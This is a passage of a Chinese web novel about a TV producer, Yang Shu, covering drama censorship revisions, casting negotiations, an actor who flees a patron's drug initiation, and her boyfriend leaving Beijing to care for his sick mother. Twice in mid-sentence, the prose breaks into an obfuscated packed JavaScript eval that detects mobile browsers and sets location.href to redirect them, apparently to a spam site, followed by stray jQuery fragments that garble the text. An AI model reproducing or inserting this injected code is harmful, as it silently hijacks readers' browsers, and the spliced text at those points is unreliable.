施严在长夜影视公司的时候是普通责编,跟祁宁没交集,杨树谅他猜不出是被谁透露的,但他没有再辩解,或许明白辩解已无益,两人默然对坐,车窗外,春雨沥沥。 当初一眼就注意到他,因为他一双眼睛火光灼灼,不顺时眼里也蓄满不驯,但“黄道婆”三个字一出,他脸上的血色一刹那褪尽,雪样的苍白。 他曾经说过,最深的噩梦是黑历史被公布于众,无言以对,也无颜以对。杨树知道,他不想让她知道这一切,她不喜欢干涉别人的选择,可是朋友一场,她觉得有必要跟他说点什么,她看着祁宁的眼睛,一双因为羞愧而黯淡的眼睛,伤感道:“祁宁啊,其实,真的可以不这么急的。” 祁宁深深沉默,回避她的眼神。他眼里没有火光了。杨树言尽于此,拉开车门,身后,祁宁声音发抖:“有些事,从一开始就晚了,我没有机会。我不想所有事都这样。” “你有你的自由。”杨树撑伞下车,雨水和暗沉的天光一齐捅过来,她踏着泥泞回公司。这个圈子各种心照不宣的交易,她看过太多,祁宁是自愿去找黄道婆的,对未来会遭遇的一切,他心知肚明,她没任何立场去干涉他什么,愿打愿挨罢了。 在办公室落座后,杨树如常工作,但鼻腔若有若无的酸意不放过她,连吃几块曲奇饼干都没好转,她起身去找朱青。 朱青刚开完选题会,见她一脸恼色,没有多问,把今天接下来的工作都推掉,给她烧茶拿点心。 暖气刚停,室温有些低,杨树捧住茶杯,惘然地看雨。雨滴砸落在窗户上,四分五裂地四下蔓延,《战朝阳》的流量明星面容在她脑海中一闪而过,没人知道他曾经遭遇过什么,但此后人生,他夜夜失魂落魄,独对一桌烈火烹油。 那人是烈火,火怎能不想着去吞噬,去席卷,去怒放?杨树狠狠眨去眼角的泪,人都经不起一而再的求不得,《大清行商》停拍后,他太想要个演男一号的机会了。 傍晚时分,雨落得大了些。朱青点了常去的那家日料店外卖,杨树喜欢它家的海鲜拌饭和炸物。 两人吃着东西,热了梅子酒来喝。酒是朱青自己酿的,她买来老家特产的软枝大粒梅,用冰糖腌制出汁,再加入高粱酒,酿了快一年。 杨树连喝两大杯,终于说:“有个朋友在做傻事,很怕他吃亏,但他可能觉得,吃亏是福,所以不好多说什么。”她摇一摇头,自嘲地笑,“可我心里还是很难受,很失望。我管得太宽了。” 朱青为她倒酒:“各人的命各人担,等他担不住了,多陪陪他。” 好言难劝该死鬼,杨树咬牙切齿:“让他自己去死吧,我不会再管他了。” 再想下去没意思,杨树把话题转到朱青部门一部刚开机的项目上,一直聊到秦朗下班来接她回家。 雨不见小,公司门口积了水,杨树在鞋子外面绑上两只塑料袋,蹚过水洼,跑向秦朗的车。一上车,秦朗就问:“谁惹你了,这么不高兴?” 杨树心中一酸,勾住他脖子亲他。车子开出,泥浆四溅,她无意一瞥,街边,祁宁的车竟然还在。 雨刷来回摇摆,车内的人影微微仰着头,双手紧握方向盘,一动不动,像个战死的将军,临终前抱着他的战马,这一生大势已去,再没机会与意中人共度春夏秋冬。 车在模糊的雨雾中穿行,杨树靠着车窗,疲倦地合上眼睛。次日上班,她收到一件快递,打开是一双品牌红雨靴。 雨靴尺码不严格,杨树能穿,但火一样的红色刺痛她的眼睛。样貌是他最大的武器,遇上难题了,本能就想提起武器去夺天下,他习惯了用它。漫天风雨中,他大步流星地奔向不可知的前程。 自此之后,杨树和祁宁再无联络。市场畸形,从项目决策者到艺人,踏实的人少,投机者多,向来如此。老狐狸们需要更多猎物,但猎物也不尽然是纯良小兽,总有人能奋力从火坑里杀出一条血路,跃升为名利场新贵。 57. 第 57 章 春推会前夕,《战朝阳》的审查意见下来了,多达4百条,连某集某分某秒有个成语用得不妥都圈出了。导演单明玉说这算是极少的意见,但有一条很致命,审查人员认为,男二号的写法和演法是在美化反派。 杨树呆住了,她塑造一个伪君子,用意在于警醒女观众:生活中很多精英人士,恰似裹着糖衣的炮弹,你以为是爱情,他却是在揩油。 一众主创头大了一圈,剧本和成片都非常直白地对观众展露了男二号是伪君子,只有女二号被蒙蔽,成为他的情人,但觉醒后,她鼓起勇气打官司,男二号也受到了法律的惩罚,何来美化之感? 这条意见不过一行字,但涉及到导向,必须大改特改。杨树和单明玉商量了半天,光是改台词和删减画面还不行,得请回男二号,补拍十几场,把他从伪君子写成有暴力倾向的人。 男二号在演一部古装剧,姚澈跟他约了时间,下个月分几次补拍。跟男二号主要对戏的配角时间相对好协调一点,但把几个人都聚到一起,也有点费事。 编剧甘棠和助手已在给明堂影业写新剧,被迫停下来,写上若干场丑化男二号的戏份。秦朗笑说早知道会有这种审查意见,就找个又胖又秃的男人来演,保证不会被说美化反派,丁盼兮说剧本改也白改,有的女的很热衷怜爱男人,只要男二号是有权有势,长得还帅,她们就无视他的暴戾阴暗,嗷嗷犯花痴,夸他又渣又苏。 除了修改男二号,审查人员还建议每个大情节的节点用独白形式做个小结,起到启迪观众,给予人文关怀的作用,杨树把这项工作交给责编刘云彤。 编剧团队很无语,在他们看来,最近十年,只有《潜伏》一剧成功运用了旁白。别的剧想用旁白推动故事情节或表现人物内心,甘棠都认为主创能力有问题,这些能用事件呈现、能用镜头丰富,观众看完有所体悟,干嘛要说出来? 单明玉说起以前做过的一部戏,也被要求加旁白,审查人员敦敦教导主创人员得有寓教于乐的责任感。那之后,她意识到,她和老一辈在剧作观念上存在分歧,他们也识货,写得好、拍得好的地方会予以肯定,但他们更重视影视剧的宣传力量,所以审查只会越来越严厉,她做好反复修改《战朝阳》的准备。 春推会如期召开,杨树带着部门成员去展馆。《北宋宫事》还未开机,但它是明堂影业最受平台关注的一部戏,夏停特意到明堂影业的展位,跟单明玉和姚澈当面聊了聊,让公司做出历史人物的人味和温度。 春推会上,杨树对接各方人马,每每笑得腮帮子僵硬,中午休息时,她常常沿着马路走一走。蓝湛湛的天空上,白云轻悠悠地飘着,鸽哨声回旋婉转,倏忽而过,北京七年,她眷念此地至深。 今年的春天来得迟,三月末仍有些清冷,绿化带的玉簪才刚发芽,北京路边常见这种花,它们洁白有暗香,但人们脚步匆匆,竞相观赏的花事从来跟它们无关,它们会感到不甘吗? 虽然再没有任何联系,但圈子真的不大,杨树听人说,军旅剧的制片方很欣赏祁宁,本想约他演一部年代剧的少帅,但他状态很差,萎靡不振,缺乏角色需要的昂然气。年代剧书写的是乱世风云,年轻人演出朝气蓬勃的抗争感,才更显悲壮,制片方定了别人。 杨树闷不做声地听,演员演的是别人,想演得惟妙惟肖,是要有信念感的,以往,祁宁能演出骄矜,也能演出不屈感,但他已不相信靠自己就能成名,那股劲儿从他身上走掉了。 两家卫视和三家视频网站都对《北宋宫事》表现出浓厚的兴趣,春推会过后,姚澈带着杨树去敲演员。杨树最懂这版剧本,口才也不错,能讲出优势。 《战朝阳》男一号是视频网站指定,属不可抗力,姚澈自主负责的项目通常不找大咖主演,磕的都是演技派。 这两年审查更严格,能扛剧的大咖也没办法保证播出时间和平台,用他们制作成本高,卖价贵,必须有两个平台以上购买。但搞定两个平台有难度,而且联播剧得凑到档期一起播,制约因素特别多,姚澈把演员定在有知名度的演技派范围内。 大部分演员看了剧本就想演,少数有异议的认为女一号是野心家,观众会骂,但接个立体的、有独立人物命运的角色肯定值得。她们都演过所谓的大女主戏,但女主角主要用来衬托男主角的强大和深情,只有恋爱功能,但《北宋宫事》的女主角刘娥是不由分说的传奇女性。 姚澈目标里几个演员的档期都排到明年下半年,有人刚拍完古装剧,想换个题材演,有人喜欢剧本,希望姚澈能等她一年。谈完一圈,姚澈又找上黎俏了。 前年,原剧本做完前5集,姚澈就和黎俏聊过,女一号刘娥年龄跨度长达几十年,非演技派不能驾驭,黎俏身上那股劲和刘娥最像。既然投资人没指定演员,当然得挑适配度最高的。 姚澈和杨树去黎俏工作室面谈,因为不是公开场合,黎俏没怎么化妆,一张雪白鹅蛋脸,明眸善睐。女明星无人不美,黎俏不比别人更美,但情态的加成,让美人更具迷惑性。 黎俏不论是演技和气质,都有能力把野心家诠释得较好,但她这几年被剧本坑怕了,接过几部戏,大纲和前5集剧本都还行,后面却一泻千里,只能硬着头皮演。这次见面,经纪人提出看到全剧本再判断是否出演,黎俏本人对《北宫宫事》意愿较大,希望每出5集剧本给她也发一份,随时商讨。 经纪人关心男主角人选,听说都是有演技的,顿时放心了些,以当红那几个的演技,很难把握从太子到帝王,从儿子到爷爷的角色。 黎俏是准一线演员,观众缘很不错,平台也认,从她的工作室出来,姚澈心里有底了。黎俏不签字,无非是想再挑挑剧本,但只要她想演古装剧,《北宋宫事》就是最好的。 在黎俏之外,姚澈另外谈了两个女演员,以防万一。她们都在拍戏,新项目还没定,但都对姚澈挺讲义气,只要今年开机,随叫随到。但她俩勉强算二线演员,用她们想卖到一线卫视有点困难,不过这都不是一定的事,哪怕现在拍摄,播出也是明后年了,谁能预计她们在这一两年里不能更红? 《北宋宫事》是群像剧,按戏份划分,宋太宗和刘娥戏份最重,算是男女一号,但角色是两代人,不存在男方为大女主作配,谈演员容易些。正当年龄的男演员普遍想演帝王,但今年有档期的不多,符合要求的里边,欧阳钧是最佳选择。 姚澈和欧阳钧本人谈了一轮,谈到尾声,她明知道欧阳钧片酬超过5000万,为难地表示就在今天早上,两个投资人都撤资,改投都市剧,因而《北宋宫事》预算有限,男主角片酬最多2000万。 杨树按下疑惑,双方握别后,姚澈才说从欧阳钧的神态和一些小细节来看,他是瘾君子无疑。瘾君子的隐患很大,不能用。 《大唐银楼》的男主角王思逸也是候选人,这两年他一口气拍了5部作品,涨了名气,二线地位很稳定,但面谈后,姚澈也放弃他了。王思逸望之不似人君,在《大唐银楼》演个不得宠的浪荡王爷还行,演戏份吃重的宋太宗不行。 之后又谈了几个,要么被投资人嫌军旅气质太重,像武将,不像文韬武略的宋太宗;要么演员正当红,但粉丝太闹腾,团队也难搞,还有无数对家都虎视眈眈,喜欢用举报解决问题,用他风险高,影响安全生产。 单明玉找来林礼璋,林礼璋36岁,是娱乐圈里花路走得最顺的几个人之一,他在戏剧学院读书时主演的第一部作品就大红了,主演的鲜衣怒马少年郎至今是国产古装剧的经典形象。 单明玉执导过林礼璋主演的两部戏,双方相识十多年,私交甚笃。《北宋宫事》上一版剧本,林礼璋就看过,嫌它是两个女人的戏,婉拒了,这版调整了方向,剧情趣味盎然,节奏张弛有度,他愿意出演。 林礼璋是一线明星,本人温文尔雅,但红了多年,气势不凡,扮上一看,姚澈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091463|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认定就是剧本里的宋太宗,他演技一般,但流量明星在单明玉手里都能看,林礼璋演得也不会太掉链子。 林礼璋既已答应出演,黎俏那边也不扭捏了:“我6月底就有空,只要剧本没烂尾就演。” 《北宋宫事》主演差不多定了,杨树全力投入抓剧本,《西北年轻人》也稳健地推进,它将在六地取景,导演潘亚勤团队披星戴月忙于整体美术和置景,剧本他放心交给杨树全盘负责,他只看定稿。 杨树和潘亚勤是第二次合作,双方对剧本有意见就直说。有的意见,杨树照单全收,有的接上潘亚勤的理解,协助编剧做进一步的完善,激动处也会争执,但大家都把这部戏当自己的孩子,吵起来也正常。 四月下旬,《西北年轻人》剧本定稿,钱一诺把纸稿寄给总局老领导,反馈意见非常之多,但针对剧本的意见越细致越好,比样片出来再修改简单。《战朝阳》请男二号补拍后,再次送审,又收获若干条新意见,仍在修改,过审一向是很曲折的过程。 《西北年轻人》编剧们住进公司提供的酒店,集中修改剧本。下个月就开机了,男主角仍未定下来,杨树有点急,但制片助理阿福说公司好几部戏都是临开机才定角,眼下距离开机还有一个多月,还能再找找。 五一节临近,钱一诺喊上杨树同赴甘肃苦水,他已和助手谈定了西北主场景,想再去苦水镇看看。五六月是玫瑰盛花期,可能会取点景,杨树和当地政府的人打过交道,对路面比钱一诺熟。 又能和章嘉敏见面了,杨树准备了礼物,但秦朗不能陪她故地重游,前些日子,他父母希望他五一节回去一趟,他过年去了内蒙,家里人想他了。 杨树退了去湖南的机票,陪同钱一诺一行飞往兰州。前往永登县的路上,阿福开车,制片主任坐副驾,杨树和钱一诺坐后排,钱一诺手机不停有人发来资料,杨树听那意思,男主角基本已谈定,只差最后签约,对方的部分片酬折换成投资,公司法务正在跟他们磨合同,一条一条掰扯。 此人从演技到咖位都和祁宁差不多,论长相,祁宁比他还更帅点,杨树想知道祁宁差在哪里,钱一诺说他看过祁宁试镜的画面,有不足,但潘亚勤教得出来。 杨树托阿福递交的祁宁角色片段,钱一诺也看了,夸他是大文生的好苗子,武戏也能演,但他眼睛里有内容,演文戏潜力更大。 问到这地步了,杨树干脆问下去:“您没定他,是不是因为他长相气质跟理工科男主角不符,偏洋气了点?” 钱一诺笑道:“我倒认为他长了一张纯而不良的脸,可塑性比较强,戏路也宽。” 钱一诺对祁宁的评价出乎意料地高,杨树奇了:“那为什么您定另一个人?” 制片主任笑答:“咱们这戏又不是姐弟恋,他比问羽小好几岁吧?” 杨树想过这个问题,但唐问羽和祁宁的年龄差并不明显,唐问羽精于保养,很显小,而祁宁是熟男气质,照片摆在一起很登对。 钱一诺说女大男小在当代社会不是稀奇事,他主要是很不喜欢祁宁经纪人柳艳的为人,她对旗下艺人的营销风格也很讨厌,既然能选别人,就没必要让柳艳赚钱。 祁宁有独立的工作室,自己就能签约,但大头都得上贡给柳艳。杨树胸口有点闷,名气不大的演员生存空间有限,哪怕演技和角色匹配度很高,但想拿到角色仍然非常难,哪怕偶尔碰到几个帮他说话的人,但签约公司拖他后腿,他就跟想要的角色无缘。 章嘉敏把女儿丢给丈夫,跑来酒店和杨树住了一晚,聊到后半夜。转天杨树为钱一诺引见政府的人,办事员带众人参观产业,苦水玫瑰尚未到盛花期,但玫瑰产业各环节都有条不紊地进行,杨树拿着录音笔,暗想剧本有少部分台词需要精校,走在她身旁的阿福忽然碰碰她的胳膊。 杨树顺着阿福的视线望过去,在玫瑰花田跟人交谈的正是祁宁,她不动声色,继续跟人聊正事。 58. 第 58 章 事情谈完,制片主任设宴答谢办事员等人,杨树看向祁宁,祁宁飞快地错开目光,足尖蹍着地,似乎想躲开,但花田一望无际,他避无可避。 阿福说:“等下我把包厢号告诉你。” 这男人瞎体贴,杨树恼得牙根痒痒,道声失陪,走到祁宁近前,她停住脚步,双臂抱胸,冷冷地看着这个被人嫌弃失了志的人。他晒黑了些,戴顶棒球帽,下巴发青,胡渣看上去有几天没刮了,帅还是帅的,但像一棵空心树,别的树郁郁葱葱,他半死不活地耷拉着叶子。 祁宁怯于跟杨树对视,迟疑着走上前,低着头,一副等她发落的样子,杨树想听事到如今他还能说出个什么来,但他似乎打定主意不开口,僵持片刻,杨树打破沉默,喝道:“你跑来干嘛?” 祁宁仍有点不敢看她,讪讪地问:“你还好吗?” 杨树恨恨道:“回答问题。” 祁宁和地上一块小石头较劲,把它往泥土里踩,再拨出来,反复再三,才说他来体验生活,在这里住了大半个月,过完五一节再走。杨树一愕,算时间,他拍完军旅剧没多久就来了,她板着脸,嘲弄道:“你的干爹没给你好处吗?” 祁宁脊背一僵,又变回初相识那个腼腆害羞的人,小声说他是真的只见了黄道婆那一次。引路人说黄道婆认识西北一位大员,他想,如果政府牵头做《西北年轻人》,可能会有很多优待,所以才有那次拜会。 黄道婆名声在外,祁宁知道得付出一点什么,不求毫发无伤,但求尽快抽身。席间,做小伏低自然是有的,但认干爹不能光是口头喊喊,得有个正正经经的仪式,黄道婆让人清场,只留祁宁一人,他不顾引路人脸色难看,执意走了。 杨树不无嘲讽地嗬一声,祁宁直视着她的眼睛:“是真的。我不想碰大..麻。” 清场之际,祁宁得知,想被黄道婆罩着,得先过大麻关。他无法接受,引路人嫌他不识抬举:“大..麻而已,又不是溜冰。” 鲤鱼跳龙门,不脱个水,掉点鳞片哪行,大..麻便是投名状。但底线总是一步步让出的,大..麻过后,一定就是冰..毒了。入行时跟柳艳签了长约,就已让祁宁后悔,但还有到期的那天,受制于毒品,永无宁日,他不想落到这田地,逃了。 微风拂过,四野花香沁人,杨树揣想此人落荒而逃,让黄道婆气得干瞪眼的情景,笑出声。 黄道婆,历史上著名的棉纺织家,技术改革家,第一次听到白头翁被称为黄道婆,杨树骂了人。《水浒传》里说,狗一样的东西,也配叫镇关西,她就是这种感受。 眼前人一张脸被太阳晒得发红,满头大汗,但是笑得很解气,祁宁眼中闪现亮光,想问点什么,张不开嘴,只一味瞧着她。 如果没有大麻,可不就从了?杨树笑容一收,转身就走:“你忙你的。” 祁宁被晾在原地,杨树懒得理,心里很清楚他那天为何没解释,他确实是去寻求庇护了,但关键时刻,他豁不出去,面对她的指责,他无可抵赖。今日一见,他面有惭色,想必自己也知道丢脸。 酒桌上,钱一诺和制片主任跟办事员等人相谈甚欢,阿福和杨树窃窃讲几句小话。阿福以为祁宁是杨树安排的,刻意在钱一诺面前露个脸,像这样讨好卖乖的小艺人很多,但以祁宁的资历,没必要把姿态摆得这么低,巴巴地争个扶贫剧的男主角,他靠这角色吸不了几个粉,他的粉丝多半也没兴趣。 杨树说:“真是偶遇你信吗?” 阿福笑着点头,杨树知道他其实不信,遂一杯接一杯地跟众人喝酒,不再多聊。 饭后各自散了,杨树在如水的月色下散步消食。两年前,她和秦朗走在这花前月下,当天未曾互相表白,但并肩而行时如饮佳酿的滋味,今时今日回想起来,依然唇齿噙香。 秦朗刚回老家,这个点儿多半在陪父母看剧,杨树没打电话,对着月亮拍照,发给他:“今宵杯中映着明月。” 月牙泉边的那一晚历历在目,纵酒放歌,好不快活。晚上的应酬酒喝得不尽兴,想再自斟自饮几杯,杨树哼着歌晃去章嘉敏带她去过的小酒馆,不期然和祁宁在月下相逢。 小镇统共没几家酒店,想碰不见也难。杨树不理人,祁宁就亦步亦趋地跟着,颀长的影子落在地上,杨树一回头,他的目光马上躲开了。 下午对视时,杨树就看到他一双眼睛里布满血丝,失去神采,她劈头问:“少帅那个角色,为什么没拿到?” “失眠。”祁宁把自己扔进健身房,练上几个钟头仍睡不着,他明白得停掉工作了。军旅剧杀青后,他宅在家里看生活剧,权当业务学习。没拿到《西北年轻人》男主角,他仔仔细细反思过,最大可能是他对常人的生活知之甚少,试镜时短板一览无余。 人生最痛苦的事是“不红”,这种心态,怎能抵达剧本里的电气工程师?电气工程师是生活中的普通人,但最难演的恰是这份普通。 没当过总裁,没当过王爷,没当过少爷,但祁宁看过别人怎么演,演出帅和深情就会受欢迎,他深谙此道。《西北年轻人》男主角在缺水少电的黄土高坡长大,考出小镇,终又回到小镇,市面上类似的范本很少,他无从理解,靠想象去演,演不像。 在争取男主角的时候,时间太紧,祁宁匆忙看了几部高分生活剧的片段,失眠后,他让助理找人开出经典现实主义影视剧的片单,一部部观看。起先看不出名堂,但名场面反反复复地看,他有所了悟,好演员是懂生活的。 有部戏里,老戏骨塑造一个孤寡老太太,她边说台词边干杂活,手上摸这摸那,像是每天都用这口锅,灶台墙上的油印子也仔细擦过,几组镜头扫过,祁宁就信服这个老太太度过了孤独的半生。 细节骗不了人,衰老感并不能只借助造型就完成得当,好演员才能演出衰老的历时和往事,祁宁盯住老太太忙活中的双手,忽然发觉自己从没有打扫过灶台。入行后,他终日赶场,从饭局到摄影棚,从录制间到剧组,没能停下来好好生活过。 演偶像剧绝非长久之计,想尝试现实题材,就得去理解生活。当代背景的影视剧容易招人骂,最大的原因就在于观众熟悉生活,演得不对,立刻就会被发现。可谁都没去过古代,只要观众不那么较真,就不出戏,演当代背景的普通人,演员得下苦功琢磨。 本月初,祁宁带着助理飞抵甘肃,他想看看《西北年轻人》剧本里提到的玫瑰小镇。 祁宁是浙江人,他对西北的想象是苦寒之地,但是来苦水的路上,他看到了堪称壮美的杏花。在这之前,他从未想过能用壮美形容他认知里的柔美花朵,他想到《西北年轻人》,越是贫瘠的土地上,越孕育着奋力生长的植物,它们从瓦砾间、石缝中喷薄而出,他开悟了,试镜时,自己对男主角的理解太片面了。 《西北年轻人》没想头了,但祁宁想以此为契机,训练自己和环境的亲近感。能演难度大的角色,能把重头戏诠释好,才是真本事,才是他实现“长久地演下去”目标的惟一路径。 西北太干燥,助理脸上干得起皮,祁宁放了她一个月假,让她回京休息,自己留下了。他每天跟农人相处,细致地观察他们,先对照着《西北年轻人》剧本比划,再对照被观众骂的都市悬浮剧分析,一切都太新了,太假了。布景不像真人住的,生活场面更是在演戏,炒菜假炒,进屋不换鞋,睡觉不穿睡衣…… 角色和环境融合,才让人沉浸。祁宁精神看着仍不振,但说起所得,脸上有光,杨树比他矮很多,仰头看他,他一直有股心气儿,但脆弱易折,《西北年轻人》的男主角却是西西弗斯,不论是对自己研发的控制系统,还是助力女朋友的事业,再大的挫折,他都坚持死磕,祁宁饰演这种脚踏实地的人,顶多几分形似,只到这个程度的话,为什么一定要让他演? 男主角沉稳如山,骨子里很硬气,但这人受了重创就去铤而走险,没少干丢脸的事,杨树看着来气,不想夸他,轻描淡写:“是该多琢磨琢磨人物。” 祁宁望着她,忐忑道:“我一定不会再让你瞧不起了。那天把你气哭了,对不起。” 雨中临去时泪光一闪,被他发现了,杨树窘住。但他这副口吻,跟幼儿园小男孩说我再不欺负你,这个糖给你吃似的,那天气急败坏的情形又浮上心头,杨树不能多想,一想还是生气,往旁边走:“胡说。没哭。” 祁宁跟上她,慢慢地说:“我知道你对我很失望,我对自己也很失望。这些日子,我想明白了很多事,我不能为了争取一些东西,失去其实失去不起的另一些。” 去认干爹之前就该猜到,黄道婆必定五毒俱全,哪还用花上许多日子去想什么是不能失去的,侥幸心理害死人。杨树瞥他一眼,冷淡道:“你无愧于心就行,我很忙,你请便吧。” 祁宁站住了。杨树走了几步,草丛几朵蒲公英在微风里摇头晃脑,她蹲下来拍照,给秦朗发语音:“其实还像小虫子的棒棒糖,雪糕味。” 夜风送来甜甜的花香,祁宁低眸看她,杨树站起身,他哑声说:“杨树,你值得赤诚的感情,希望他永远不让你伤心难过。” 杨树不答,自顾自走了,酒喝不成了,她得赶紧回房间跟编剧聊剧本,刚才祁宁一番话启发她了。 《西北年轻人》写到一个小配角,是被扶助的贫困户,编剧用了一场戏就把角色立起来了,但想演得活灵活现,神态和肢体都得跟上。祁宁自问如果试镜是演这个贫困户,会出大洋相,但谁知道哪天会不会接个嬉皮笑脸的刁民?他不能只演轻轻松松的戏,否则他能演,别人也很演,依旧拿不到想要的角色。 武侠剧、权谋剧和奇幻剧之类,主角常把“天下苍生”挂嘴边,但剧里并没能体现苍生,杨树跟编剧强调,《西北年轻人》得避免这一点。扶贫剧,不仅要写出主角们的扶助,被扶助的对象也是主要人物,塑造他们的时候不能马虎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091464|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要把力气用足,把“贫”刻画好。 制片主任牵头,众人和本地政府人员开了座谈会。主旋律剧有特殊性,大政策下还有小规定,随着政策的变化,剧本故事处理方式也得不断调整,才能保证最终作品合乎政策要求,钱一诺让杨树在甘肃再待一阵,多跟农户和基层干部交流,以便再梳理梳理剧本,有些场次还得磨得再精细些。 秦朗回湖南后,总是半天才回信息,杨树打去电话,告知她暂时回不了北京,她得把编剧们都召来甘肃改剧本。秦朗声音很低落,他回家才得知,他妈确诊患上脊椎空洞症,他爸因此高血压发作频繁,总是一张通红的脸。 这几年,秦母身体经常有疼痛感,但以为是颈椎和腰椎问题,人上了年纪有点病痛是难免的。今年年初,她疼得受不了,四肢也不怎么听使唤了,去长沙大医院查出了真正的病因。 杨树对脊椎空洞症闻所未闻,查了资料才知道它是一种慢性病变,简单说是脊椎呈管状空洞,秦母到了中期,且并发症较多,是最危险的情况之一。秦父本想过年时和秦朗商量做手术,但秦朗去女朋友家过年,他们不想影响他的心情。 前几个月,秦家父母几次欲言又止,秦朗追问过,但他们支吾过去了。秦朗这次回家,遭受当头一棒,才一年多没见面,母亲竟已濒临瘫痪。 医生说过,像秦母这种寰枢椎脱位患者,做手术处理修复,能够延续寿命,但脑干功能已受损,影响呼吸和行动不可逆,她走路都得扶着墙,四肢都没多少力气了,不久后就得和轮椅相伴。 瘫痪人士的生活需要有人照料,高血压患者也得有人看着,秦朗是独生子,虽然能请护工,但外人总归不尽心。母亲的手术排在七月,他上午刚飞回北京,现在在公司办辞职手续。 杨树请了两天假回京,但一切都无解,秦朗只能放弃北京。杨树工作做得很顺,深得老板们信任,抛下所有跟秦朗去湖南,她做不到。秦朗打点行装,她帮把手,相对无言。 丁盼兮见证他俩从相识到定情,难受得掉眼泪。这两人之间没有第三者,没有进入平淡期,但父母的疾病,注定会影响秦朗的人生,丁盼兮很害怕还会改变两人的恋情走向,秦朗上一段异地恋情,便以分手告终。 物品一箱箱打包完毕,杨树心乱如麻。如果在北京有房子,有积蓄,就能把父母接来住,但都是普通工薪家庭出身,不到30岁,事业根基还不牢,把父母接过来简直难于上青天,秦朗面前没有第二条路。 秦家父母都才五十岁出头,母亲办了病退,秦朗回湖南将以照顾她为主。杨树让他别放弃专业,等他稍微理顺了,还得拾起工作,那是立身之本。秦朗都应了,他计划在家做兼职,给同学的项目做点边角料的事,收入大不如现在,但小城市生活成本低,父母医疗费也能报销一部分,基本生活应付得过来。 杨树下半年就够资格在天津买房,按秦朗的打算,他会赞助一些首付,但厄运突来,他得多留点钱给父母治病,提出卖车,给杨树攒着买房子。杨树强忍眼泪,让秦朗把车子留着,这辆车是她送的礼物,不能卖,而且二手也卖不上价钱,母亲行动不便,秦朗带她去看病,有辆后座宽敞的车方便些。 临别在即,相拥了许久。这几年,两人都经历过朋友和同事离开北京:落不了户,无法让孩子上个好点的学校,回二线省城的有之;自觉混不出头,返回原籍的有之,携带钱财,远赴异国安家的有之;去宜居小城过田园生活的有之;派驻到外地工作的有之;因父母身体原因返乡的,秦朗不是惟一一个。 京城不易居,几千年前,诗人就如是说过。秦朗退了高铁票,把车开回湖南,大件物品都寄回家了,少数得随身携带,杨树帮他放行李,他回身抱住她。 这两天,两人都回避谈论感情的去向,杨树紧紧抱着秦朗,满心内疚:“对不起,不能帮你分忧。” 秦朗抚着她的头发,安慰道:“你没做错,我们不能一损俱损。” 影视业资源太集中,做这行只能在北京和上海,但他那行,其实一样得在大城市,杨树鼻子酸得厉害。既然秦朗不怪她自私自利,她就有胆气了,许下承诺:“你主内,我主外,我努力工作,赚钱的事交给我。” 秦朗沉默片刻,展颜道:“靠你了,快点当上大制片。” 杨树叮嘱道:“有任何话,都得直说。” 秦朗答应每天都找她谈天,只怕她会嫌负面信息太多,杨树说自己内心很强大,分离的日子里,她会把自己的路走好,让他没有后顾之忧,将来她时间自由就去陪他,秦朗捏她的脸:“野心能大点吗,早点经济自由,让我带着全家来陪你。” 杨树举起拳头做加油状,秦朗让她回甘肃工作,她一脑门事。杨树转头看副驾,他把背包放在上面,里面是她为他做的胖罐子,昨晚他用泡泡膜缠了好几道,她又鼻酸,只想哭,胖罐子是一对,她想和他永远是一对,碎了就再做一对。 59. 第 59 章 编剧们已陆续到达苦水了,杨树找钱一诺多请了三天假。她想去看看秦母,去年在秦家过春节,她被善待,铭记在心。 北京距离张家界一千五百多公里,杨树在大学期间考过驾照,但很少开,秦朗全程把控方向盘。每隔三个多小时,两人就停下来,找个服务区或路边农家菜馆歇歇脚。 下午四点多,两人到了鹤壁,它古称朝歌,是商朝首都,《封神榜》故事发生地。省道旁有一排小馆子,秦朗停车,杨树问:“哪家?” 秦朗向外看了看:“你随便选。” 杨树挑中一家羊汤馆,天阴沉沉,老板和伙计们坐在门口的空地闲话,她在树下就座,翻起菜牌。秦朗背着包,走过来说:“就猜你会选这家。” 杨树笑道:“因为门前有树?” 秦朗抬头看,树上开着细细碎碎不大好看的紫花,他问:“知道是什么树吗?” 杨树对植物知道得不多,但苦楝树恰好是她认识的,立刻得意地说了出来。小时候,她得了湿疹,痒得不行,吃药涂药都不见效,妈妈打听到一个偏方,用苦楝叶及几种植物煮水外洗,果然不痒了。 苦楝树耐寒,但近年内蒙很干旱,海拉尔不太能看到它,每次皮肤病发作,苦楝叶都是杨树的恩物,爸爸总去那几户种植它的人家求取,一来二去混成了朋友。 杨树初来北京是夏天,第二年春天,几乎是一夜之间,小区开出一树树淡紫色的花,她惊喜地走拢去,却不是苦楝,问了人才知道是丁香花。 很多事是来北京才知道的,比如创意市集,比如诗歌里的丁香。杨树很失望,丁香何德何能,占了这么好听的名字,还让人写下那么多诗篇,此刻想起来,她笑话自己幼稚,她有什么资格嫌丁香不美,丁香不是为了满足她的期待才开花的。 苦楝花树下,杨树有点伤怀地说着往事,那些秦朗还来不及参与的往事,秦朗把她搂进怀里:“但是杨小树是为了满足我的期待才出现的。” 